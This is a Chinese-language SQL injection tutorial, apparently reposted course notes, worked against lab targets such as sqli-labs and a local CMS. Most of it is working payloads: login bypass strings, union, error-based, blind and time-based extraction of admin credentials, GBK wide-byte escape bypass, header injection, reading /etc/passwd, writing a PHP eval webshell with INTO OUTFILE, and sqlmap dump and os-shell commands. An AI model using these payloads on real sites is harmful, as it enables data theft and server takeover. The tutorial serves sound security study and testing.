SQL注入
SQL注入
1.SQL 注入原理
1.1 万能用户名
1.1.1 万能用户名
777' or 1=1 #
admin' or '1'='1
1.1.2 查看代码
<?php session_start ();
header('Content-Type: text/html; charset=utf-8'); include_once ("../include/config.inc.php");
if (isset ( $_POST ["username"] )) {
$username = $_POST ["username"]; } else {
$username = ""; }
if (isset ( $_POST ["password"] )) {
$password = $_POST ["password"]; } else {
$password = ""; }
//记住用户名
setcookie (username, $username,time()+3600*24*365); if (empty($username)||empty($password)){
exit("<script>alert('用户名或密码不能为空!');window.history.go(-1)</script>"); }
$user_row = $db->getOneRow("select userid from cms_users where username = '".$username."' and password='".md5 (
$password ) ."'");
if (!empty($user_row )) {
setcookie (userid, $user_row ['userid'] ); header("Location: index.php");
}else{
exit("<script>alert('用户名或密码不正确!');window.history.go(-1)</script>"); }
?>
1.1.3 登录逻辑
-
通过POST 方式获取用户名和密码;
-
构造SQL 语句以用户名和密码作为查询条件进行查询,并且是单引号闭合;
-
如果SQL 语句正确执行并且结果集对象中有记录则提示登录成功;
-
否则,登录失败。
1.1.4 拼接问题
select userid from cms_users where username = '{用户名}' and password='{md5(密码)}';
select userid from cms_users where username = '777' or 1=1 #' and password='e10adc3949ba59abbe56e057f20f883e';
1.2 SQL 注入总结
1.2.1 SQL 注入原理
? SQL 注入的攻击行为可以描述为通过用户可控参数中注入SQL 语法,破坏原有SQL 结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的:
- 程序员在处理程序和数据库交互时,使用字符串拼接的方式构造SQL 语句。
- 未对用户可控参数进行足够的过滤,便将参数内容拼接到SQL 语句中。
1.2.2 SQL 注入危害
攻击者可以利用SQL 注入漏洞,可以获取数据库中的多种信息,例如,后台管理员账密,从而脱取数据库中的内容(脱库)。
在特别的情况下还可以插入内容到数据库、删除数据库中的内容或者修改数据库内容。
如果数据库权限分配存在问题,或者数据库本身存在缺陷,攻击者可以利用SQL 注入漏洞直接获取WebShell 或者服务器权限。
1.2.3 SQL 注入分类
两大基本类型 | 五大基本手法 | 提交参数方式 | 注入点的位置 |
---|---|---|---|
**1.3 SQL 注入漏洞挖掘
1.3.1 注入点判断
1 | -1 或 +1 | 是否能够回显上一个或者下一个页面(判断是否有回显) |
---|---|---|
2 | ’ 或 " | 是否显示数据库错误信息; 根据回显内容可以判断是字符型数据还是数字型。 |
3 | and 1=1 and 1=2 | 回显的页面是否不同(布尔类型的状态) |
4 | and sleep(5) | 判断页面的返回时间 |
5 | \ | 判断转义 |
1.3.2 主要关注的问题
回显 | 数据库中的内容是否会回显在网页中。 |
---|---|
数据库报错 | 数据库报错信息是否会回显在网页中。 提交的数据是字符型还是数字型,如果是字符型数据,闭合方式是什么? |
布尔类型状态 | 显示的页面不同,形成对比。页面正常或者不正常。 |
延时 | 让数据库沉睡相应的秒数 |
1.3.3 CMS 注入点
是否有回显
http://127.0.0.1/cms/show.php?id=33 http://127.0.0.1/cms/show.php?id=32 http://127.0.0.1/cms/show.php?id=34
# 有回显
是否有报错
http://127.0.0.1/cms/show.php?id=34'
# near ''' at line 1
# 中间的单引号才是SQL 语句的内容
# select * from tb_name where id=34' # 34 没有出现在报错信息中,说明是数字型注入
# 有报错
是否有布尔类型状态
http://10.10.10.128/cms/show.php?id=33+and+1=1 http://10.10.10.128/cms/show.php?id=33+and+1=2
# 有布尔类型状态
是否有延时
http://10.10.10.128/cms/show.php?id=33+and+sleep(5)
# 有延时
1.4 其他知识补充
1.4.1 MySQL 数据库中的注释
减减空格(三个字符)【-- 】 | –+ |
---|---|
井号 【#】 | %23 |
内联注释 /!5000 AJEST/ |
1.4.2 SQL 注入流程
库——》表——》列——》数据
1.4.3 可以代替空格的字符
?id=1'%0Aand%0A1=1%23
?id=1'%0Band%0B1=1%23
?id=1'%0Dand%0D1=2%23
?id=1'%A0and%A01=2%23
2.SQL 注入基本手法
2.1 联合查询
2.1.1 必要条件
-
两条select 语句查询结果具有相同列数;
-
对应的列数据类型相同(特殊情况下,条件被放松)。
2.1.2 目标分析
?id=32 ?id=33
select * from tbName where id=32
select * from tbName where id=32 union select ....
2.1.3 判断列数
?id=32 order by 1
?id=32 order by 2
...
?id=32 order by 15 正常
?id=32 order by 16 不正常
# 当前select 语句中具有15 列。
?id=32 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null
?id=32 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
2.1.4 判断显示位置
把第一条select 语句的查询条件置为假。
?id=32 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ?id=-32 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
2.1.5 数据库中敏感信息
?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15 ?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,version(),12,13,14,15 ?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,@@datadir,12,13,14,15 ?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,current_user(),12,13,14,15
2.1.6 获取管理员账密
**数据库名**
?id=-33 UNION SELECT 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15
# cms
**表名**
?id=-33 UNION SELECT 1,2,count(*),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()
?id=-33 UNION SELECT 1,2,hex(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() limit 0,1
?id=-33 UNION SELECT 1,2,hex(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() limit 1,1
?id=-33 UNION SELECT 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()
# 636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573 736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273
# cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users
**列名**
?id=-33 UNION SELECT 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'
# 7573657269642C757365726E616D652C70617373776F7264
# userid,username,password
**数据**
?id=-33 UNION SELECT 1,2,hex(concat(username,0x3a,password)),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users
# 61646D696E3A6531306164633339343962613539616262653536653035376632306638383365
# admin:e10adc3949ba59abbe56e057f20f883e # admin:123456
2.2 报错注入
在注入点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在页面中,因此可以利用报错信息进行注入。
报错注入的原理,在错误信息中执行SQL 语句。触发报错的方式有很多,具体细节也不尽相同。此处建议直接背公式,将公式带换掉 1=1 的部分。
2.2.1 group by
?id=33 and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
?id=33 and (select 1 from (select count(*),concat(0x5e,(select password from cms_users limit 0,1),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
2.2.2 extractvalue
?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e))
?id=33 and extractvalue(1,concat(0x5e,substr((select password from cms_users),17,32),0x5e))
2.2.3 updatexml
?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)
?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users),0x5e),1)
?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users),0x5e),1)
2.3 布尔盲注
页面中有布尔类型的状态,可以根据布尔类型状态,对数据库中的内容进行判断。
2.3.1 库名爆破
/Less-8/?id=2' and database()='xxx' --+
# 不知道数据库名有多少位
# 不知道数据库名的字符集合
# 爆破成本很高
2.3.2 库名长度
/Less-8/?id=2' and length(database())=8 --+
# 页面正常,说明数据库名字的长度是8
2.3.3 按位测试
# 第一位
/sqli-labs/Less-8/?id=2' and ascii(substr(database(),1,1))=115 --+ # 115
# s
/sqli-labs/Less-8/?id=2' and ascii(substr(database(),2,1))=101 --+ # 115 101
# s e
# 第三位
...
2.4 延时注入
利用sleep() 语句的延时性,以时间线作为判断条件。
2.4.1 数据库名字的长度
/sqli-labs/Less-9/?id=2' and if(length(database())>1,sleep(5),1) --+
# 页面有延时
2.4.2 数据库名字
/sqli-labs/Less-9/?id=2' and if(substr(database(),3,1)='c',sleep(5),1) --+
# 115 101 99
# s e c
2.5 堆叠查询
一次HTTP 请求,可以同时执行多条SQL 语句,包括增删改查操作。
以sqli-labs 第38 关为例子。
?id=2';update users set password='123456'--+
3.SQL 注入其他情况
3.1 宽字节注入
宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。宽字节注入的目的是绕过单双引号转义,以sqli-labs-32 关为例子。
?id=1
?id=1'
1\' 服务器会把单引号转义,单引号由原来的定义字符 串的特殊字符被转义为普通字符。
315c27 非常强烈的暗示
3.1.1 代码分析
function check_addslashes($string) {
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
$string = preg_replace('/\'/i', '\\\'', $string); backslash
$string = preg_replace('/\"/', "\\\"", $string); backslash
return $string; }
// take the variables if(isset($_GET['id'])) {
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp);
// connectivity
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
-
单双引号被转义,没有其他过滤;
-
将与数据库交互的数据字符编码设置为了GBK。
3.1.2 GBK 编码
GBK 汉字编码方案,双字节编码,两个字节作为一个汉字。GBK 编码范围[8140,FEFE],可以通过汉字字符集编码查询。注意到5C 在GBK 编码的低位范围之内[40,FE]。在5C 之前添加一个字符[81,FE] 之间,该字符就会和5c 组成一个汉字。
3.1.3 宽字节注入
cb5c ?id=1 薥
%cb'
1%df\'
31cb5c27
1薥' # “吃”掉了转义字符\
/Less-32/?id=1%cb' and 1=2 union select 1,database(),3 --+
3.2 HTTP 头部注入
SQL 注入点不止会出现在GET 参数或POST 参数中。
3.2.1 Cookie 注入
注入点在Cookie 数据中,以sqli-labs-20 关为例子
GET /sqli-labs/Less-20/index.php HTTP/1.1
Host: 10.4.7.128
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.4.7.128/sqli-labs/Less-20/
DNT: 1 Connection: close
Cookie: uname=Dumb' and 1=2 union select 1,version(),database() # Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
3.2.2 base64 注入
注入的参数需要进行base64 编码,以sqli-labs-22 关为例子。
GET /sqli-labs/Less-22/index.php HTTP/1.1
Host: 10.4.7.128
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.4.7.128/sqli-labs/Less-22/
DNT: 1 Connection: close
Cookie:uname=RHVtYiIgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSx2ZXJzaW9uKCksZGF0YWJhc2UoKSM= Upgrade-Insecure-Requests: 1
3.2.3 User-Agent 注入
注入的参数在User-Agent 中,以sqli-labs-18 关为例子。
POST /sqli-labs/Less-18/ HTTP/1.1
Host: 10.4.7.128
User-Agent: AJEST' and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded Content-Length: 36
Origin: http://10.4.7.128 DNT: 1
Connection: close
Referer: http://10.4.7.128/sqli-labs/Less-18/
Upgrade-Insecure-Requests: 1
uname=Dumb&passwd=Dumb&submit=Submit
3.2.4 Referer 注入
注入参数在Referer 字段中,以sqli-labs-19 关为例子。
POST /sqli-labs/Less-19/ HTTP/1.1
Host: 10.4.7.128
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded Content-Length: 36
Origin: http://10.4.7.128 DNT: 1
Connection: close
Referer: AJEST' and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1
Upgrade-Insecure-Requests: 1
uname=Dumb&passwd=Dumb&submit=Submit
4.SQL 注入读写文件
4.1 前提条件
4.1.1 权限问题
当前(连接)数据库的用户具有文件读写权限。数据库的权限粒度,某个库中某个表某个用户是否有增删改查权限。
MySQL 数据库用户,例如root@localhost,由两部分组成:
-
用户名
-
地址
# root@localhost
and 1=2 union select 1,file_priv,3 from mysql.user where user='root' and host='localhost'
4.1.2 文件路径
已知读写目标文件的绝对路径。
/var/www/
/var/www/html/
c:/phpstudy/www/
c:/xampp/htdocs/
4.1.3 安全选项
MySQL 数据库有关于文件读写的安全选项secure_file_priv。
secure_file_priv 参数限制了mysqld(MySQL DBMS) 的导入导出操作,这个选项是不能利用SQL 语句修改,必须修改my.ini 配置文件,并重启mysql 数据库。
show global variables like '%secure_file_priv%';
参数值:
参数 | 含义 |
---|---|
secure_file_priv=NULL | 限制mysqld 不允许导入导出操作。 |
secure_file_priv='c:/a/ | 会限制mysqld 的导入导出操作在某个固定目录下,并且子目录有效。 |
secure_file_priv= | 不对mysqld 的导入导出操作做限制。 |
4.2 读写文件
4.2.1 读取文件
使用load_file() 函数
and 1=2 union select 1,load_file("c:\\windows\\system32\\drivers\\etc\\hosts"),3
and 1=2 union select 1,load_file("c:/windows/system32/drivers/etc/hosts"),3
and 1=2 union select1,load_file("/etc/passwd"),3
4.2.2 写入文件
使用into outfile 语句
and 1=2 union select 1,2,3 into outfile "c:/phpstudy_2016/www/1.php"
and 1=2 union select 1,"<?php @eval($_REQUEST[777]);phpinfo()?>",3 into outfile "c:/phpstudy_2016/www/2.php"
and 1=2 union select 1,"<?php @eval($_REQUEST[777]);phpinfo()?>",3 into outfile "/var/www/html/1.php"
and 1=2 union select 1,"<?php @eval($_REQUEST[777]);phpinfo()?>",3 into outfile "/tmp/1.php"
Linux 系统下,一般情况下权限较低,无法写入文件
5.SQL 注入工具
5.1 SQLMap
5.1.1 安装与更新
sudo apt-get update
sudo apt-get install sqlmap
源码包安装:
git clone https://github.com/sqlmapproject/sqlmap.git git fetch
git pull
5.1.2 参数速查
参数 | 含义 |
---|---|
-u | 检测注入点 |
–dbs | 列出所有的库名 |
–current-user | 当前连接数据库用户的名字 |
–current-db | 当前数据库的名字 |
-D “cms” | 指定目标数据库为cms |
–tables | 列出数据库中所有的表名 |
-T “cms_users” | 指定目标表名为’cms_users’ |
–columns | 列出所有的字段名 |
-C ‘username,password’ | 指定目标字段 |
–dump | 列出字段内容 |
-r | 从文件中读取HTTP 请求 |
–os-shell | 在特定情况下,可以直接获得目标系统Shell |
–level 3 | 设置sqlmap 检测等级 3 |
–cookie=“username=admin” | 携带Cookie 信息进行注入 |
-g | 利用google 搜索引擎自动搜索注入点 |
–batch | 使用默认选项 |
–random-agent | 使用随机User-Agent 信息 |
-v 3 | 显示payload |
5.1.3 参数速查
注入点:http://10.10.10.6/cms/show.php?id=33
sqlmap -u "http://10.10.10.1/show.php?id=33" sqlmap -u "http://10.10.10.1/show.php?id=33" --dbs
sqlmap -u "http://10.10.10.1/show.php?id=33" --current-db sqlmap -u "http://10.10.10.1/show.php?id=33" -D "cms" --tables
sqlmap -u "http://10.10.10.1/show.php?id=33" -D "cms" -T "cms_users" --columns
sqlmap -u "http://10.10.10.1/show.php?id=33" -D "cms" -T "cms_users" -C "username,password" --dump
+----------+----------------------------------+ | username | password | +----------+----------------------------------+
admin | 21232f297a57a5a743894a0e4a801fc3 |
| ajest | e10adc3949ba59abbe56e057f20f883e | +----------+----------------------------------+
5.1.4 POST 注入
sqlmap -r /tmp/login.post
5.1.5 GetShell
- 受到secure_file_priv 选项的限制;
- 目标系统Web 根目录的绝对路径;
- 目录权限。
sqlmap -u "http://192.168.16.119/show.php?id=33" --os-shell
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!